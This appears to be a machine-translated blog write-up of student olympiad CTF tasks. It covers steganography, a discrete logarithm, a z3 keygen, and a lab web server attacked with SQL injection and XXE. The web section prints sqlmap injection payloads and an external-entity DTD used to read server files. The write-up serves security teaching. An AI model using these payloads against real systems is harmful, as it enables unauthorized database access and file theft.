⬆️ ⬇️

CTF from the Ministry of Education and Science: analysis of information security challenges

Every year MEPhI holds a student information security competition. This is a very unusual event, very different from the usual task-based CTF. It's funny that the Olympiad has an official status and is even recognized by the Ministry of Education, but few know about it. Moreover, its winners and prize-winners have the opportunity to enter the MEPI without exams.



If you are eager to stretch your brains and test your knowledge in the field of infobox, read our analysis of five more interesting tasks of the practical round of the Olympiad.



The Olympiad is divided into two rounds: theoretical and practical. They last 3 hours a day with a short break. The theoretical tour is similar to the exam: the first task consists of 5 questions on cryptography and cryptanalysis, where you need to give a detailed answer. The second task is a big test of information technology security. A trial version of the theoretical tour is presented by reference .



A practical tour is to solve 10 relatively simple tasks related to programming, reverse engineering, web exploitation, cryptography and steganography. When performing these tasks, you can use your own computer, but without access to the Internet and external storage media.

')

Participation in this Olympiad is an interesting experience for any security student, allowing you to test both theoretical and practical knowledge.



Task H, 2018



Condition: Arriving at the meeting place in the park, you saw no one, however, walking along one of the avenues, you found a locked phone with a strange screen saver. Find the password encrypted in the splash image and send it for verification through the form below.



Picture
image



The tasks of searching for stegocontainers in images are usually solved in three stages, from simple to complex:



  1. Meta information check: EXIF ​​for jpeg, IDF for png
  2. Structure check: search for ascii strings, search for other files added to the end of the image
  3. Analysis of the image itself: checking the compliance of the header with the data, changing the color map, bruising the LSB \ MSB


First, check the file type:



$ file H.jpg H.jpg: JPEG image data, JFIF standard 1.02, resolution (DPI), density 96x96, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=8, datetime=2009:03:12 13:48:39], baseline, precision 8, 1024x768, frames 3 


We obtain meta information from EXIF ​​using the exiftool utility and find the first part of the flag in the Creator field:



 $ exiftool H.jpg | grep Creator Creator                         : part1 - 2b33f7c863ef8b 


We continue to analyze the file using the binwalk utility:



 $ binwalk H.jpg | grep -v 'Unix path' DECIMAL       HEXADECIMAL  DESCRIPTION -------------------------------------------------------------------------------- 0             0x0  JPEG image data, JFIF standard 1.02 46            0x2E  TIFF image data, big-endian, offset of first image directory: 8 628320        0x99660  Zip archive data, at least v2.0 to extract, compressed size: 21, uncompressed size: 19, name: part2.txt 628471        0x996F7  End of Zip archive 628493        0x9970D  PNG image, 385 x 338, 8-bit/color RGBA, non-interlaced 628584        0x99768  Zlib compressed data, compressed 


We see that at offset 0x99660 there is a Zip-archive with the part2.txt file, and at offset 0x9970D - a png-image.



With binwalk we can get these files and even automatically unzip the zip archive.



 $ binwalk -D 'zip archive:zip:unzip %e' -D 'png image:png' H.jpg $ cd _H.jpg.extracted $ ls 99660.zip  996F7.zip 9970D.png  99768 99768.zlib part2.txt $ cat part2.txt part 2 - 6b9efd1b89 


9970D.png:



image



Putting all the parts of the flag together - the task is solved.



Task A, 2016



Condition: Find the value of the $ flag variable (32 hex characters) in the following php script if it is known that the result of the script is 10899914993644372325321260353822561193.



 <?php $n = "35948145881546650497425055363061529726"; $flag = "... 32 hex chars ..."; // find the flag $x = bchexdec($flag); echo bcpowmod(1511, $x, $n); function bchexdec($dec) {   $res = 0;   $mn = 1;   $l = strlen($dec);   for($i=0;$i<$l;$i++)   {     $res = bcadd($res, bcmul($mn, hexdec($dec[$l-$i-1])));     $mn = bcmul($mn, 16);   }   return $res; } ?> 


Since the bcpowmod function builds the number 1511 to an unknown degree in the ring of residues 35948145881546650497425055363061529726, the flag is the discrete logarithm 10899914993644372325321260353822561193 on the base 1511.



Writing a script to solve such a problem from scratch for a long time, brute force does not help either, so it’s best to use the free computer algebra system Sage.



 #!/usr/bin/sage from sage.all import * R = IntegerModRing(35948145881546650497425055363061529726) y = 10899914993644372325321260353822561193 g = 1511 x = discrete_log(R(y), R(g)) print("Flag is: " + hex(x)) 


Run Sage:



 $ sage solve.py Flag is: 1203ca52964b15cd12887d920d229 


Substitute the flag in the script and make sure that the answer is correct:



 % php A.php 10899914993644372325321260353822561193 


Task C, 2016



Condition: Generate a serial number for your login and send a response to the check in the format login: serial number without spaces.



Get information about a binary using ExeinfoPe:



image



Follow the advice and unpack the file:



 $ upx -d auth_x32.exe                      Ultimate Packer for eXecutables                         Copyright (C) 1996 - 2013 UPX 3.91        Markus Oberhumer, Laszlo Molnar & John Reiser   Sep 30th 2013       File size         Ratio Format     Name  --------------------   ------ ----------- -----------  1427267 <-    807235 56.56%    win32/pe auth_x32.exe Unpacked 1 file. 


Define the used compiler:



image



We decompile the main function and slightly modify the output with a file:



image



The algorithm of the program is as follows:



  1. Through the command line arguments, the user login and the 32-character key in hex format are input.
  2. The key from hex is converted to a binary form and byte-by-word with a login.
  3. Then each of the elements of the resulting sequence is converted by the formula:



     key[k] = 2 * key[(k + 1) & 0xF] | (key[k] >> 7) ^ key[k] 
  4. The result of the conversion using the memcmp function is compared with the correct_key byte string. Its full value is 1136CB46FFF370685D41C348CCAD6EC7


Compose a system of 16 equations and solve it using the z3 SMT solver:



 #!/usr/bin/env python from z3 import * import binascii #   hardcode = [0x11, 0x36, 0xCB, 0x46, 0xFF, 0xF3, 0x70, 0x68, 0x5D, 0x41, 0xC3, 0x48, 0xCC, 0xAD, 0x6E, 0xC7] username = "hummelchen" ulen = len(username) #   key = [BitVec('k[{}]'.format(x), 8) for x in range(0,16)] s = Solver() #    for k in range(0, 16):   s.add(hardcode[k] == (2 * key[(k + 1) & 0xF] | LShR(key[k], 7)) ^ key[k]) # ,    if s.check() != 'sat':   print('Cannot solve this system')   return model = s.model() serial = "" #       for i in range(0, 16):   h = model.evaluate(key[i]).as_long()       serial += chr(h ^ ord(username[i % ulen])) print(binascii.hexlify(serial)) 


Check the solution:



 $ auth_x32.exe hummelchen 094d6a0bf55b01e195b823316b080169 Correct 


Tasks D and E, 2016



Conditions:

D: The answer to the problem is stored in one of the databases of the forgotten server. Find the vulnerability on the site and read the answer with it.

E: The answer to the problem is stored in one of the files on the server. Find the vulnerability on the site and read the file with it.



The web interface of the forgotten server looks quite ascetic: just a text authorization form and the title “Online bank system”.



image



Bruteforcing files and directories on the server we find password-protected phpmyadmin and robots.txt with a hint:



 $ python3 ./dirsearch.py -u http://192.168.56.11/  --exclude-status=403 -e txt Target: http://192.168.56.11/ [19:52:31] Starting: [19:52:37] 200 -  453B - /index.php                                                                            [19:52:37] 200 -  453B - /index.php/login/ [19:52:37] 301 -  318B - /javascript  -> http://192.168.56.11/javascript/ [19:52:38] 301 -  318B - /phpmyadmin  -> http://192.168.56.11/phpmyadmin/                           [19:52:39] 200 -    8KB - /phpmyadmin/                              [19:52:39] 200 -   55B - /robots.txt                                                                                                                                                                      Task Completed $ curl http://192.168.56.11/robots.txt I think js filter is 100% safe for checking user data 


We study the source code of the authorization page and see the suspicious jquery.js script



 function login() { var user = $("#user").val(); var pass = $("#pass").val(); for(i=0;i<user.length;i++)   if (user.charCodeAt(i) < 0x61 || user.charCodeAt(i) > 0x7a)   {     resp("Invalid user format");     return false;   } for(i=0;i<pass.length;i++)   if (pass.charCodeAt(i) < 0x61 || pass.charCodeAt(i) > 0x7a)   {     resp("Invalid pass format");     return false;   } var auth = "<auth><user>"+user+"</user><pass>"+pass+"</pass></auth>"; $.post("/ajax.php", {"auth": auth}, resp); } function resp(data) { $("#info").html('<font color="red">'+data+'</font>'); } 


We intercept a POST authorization request using Burp Suite and immediately verify the possibility of SQL injection:



image



To automate the exploitation of a vulnerability, we save the text of the request to a file, mark the injection location with an asterisk, and load the result into sqlmap using the -r filename option:



 auth=<auth><user>admin</user><pass>*</pass></auth> 


Vulnerabilities found
 Parameter: #1* ((custom) POST)   Type: boolean-based blind   Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment) (NOT)   Payload: auth=<auth><user>admin</user><pass>' OR NOT 9081=9081#</pass></auth>   Type: error-based   Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)   Payload: auth=<auth><user>admin</user><pass>' AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x7170787871,(SELECT (ELT(7559=7559,1))),0x7170707a71,0x78))s), 8446744073709551610, 8446744073709551610)))-- cPnm</pass></auth>   Type: AND/OR time-based blind   Title: MySQL <= 5.0.11 AND time-based blind (heavy query)   Payload: auth=<auth><user>admin</user><pass>' AND 7893=BENCHMARK(5000000,MD5(0x585a6178))-- sWuO</pass></auth>   Type: UNION query   Title: MySQL UNION query (NULL) - 1 column   Payload: auth=<auth><user>admin</user><pass>' UNION ALL SELECT CONCAT(0x7170787871,0x61495771514b7a677663454c464c79565447794c6f4362457375535161467872446e486e4f654b53,0x7170707a71)#</pass></auth> 




We determine the databases available to us:



 available databases [2]: [*] information_schema [*] site 


Get the flag for task D:



image



Since the current user is not a database administrator, we cannot read files on the host and, therefore, will have to use a different attack vector. Let's try an XML eXternal Entity attack.



We can force the XML parser to read the file of interest to us and use the contents of this file as a URI so that it is output in an error message.



To do this, you need to create a special DTD file (Data Type Definition; definition of data type). The XML parser on the server will load its contents before processing the main payload, which will allow using the% payload value as a URI.

xxe.dtd:



 <!ENTITY % err "<!ENTITY % trick SYSTEM '%payload;'>"> %err; 


Now raise the web server using python, the xxe.dtd file should be located in its root directory.



 $ python -m SimpleHTTPServer 1234 


Send the server a request of this type:



image



We get the flag for task E in the row with the user list.



PS All tasks of the practical round of the Olympiad for this and past years are available at the links:

Practical round VSO on IB 2016

Practical round VSO on IB 2017

Practical round VSO on IB 2018



Author: Yaroslav Shmelev, HackerU " Information Security Specialist " course teacher.






Most of the teachers of the Israeli High School of IT and Security HackerU participate and occupy top places in competitions and competitions for pentest, web development, blockchain. To become a winner, it is not enough to have only high motivation. We need really useful knowledge and skills, and they are obtained only from the best practitioners. If in doubt about the future, you want to learn the profession in demand, ask us . We promise to get rid of all the excess and help you find yourself in the IT world.

Source: https://habr.com/ru/post/359094/



All Articles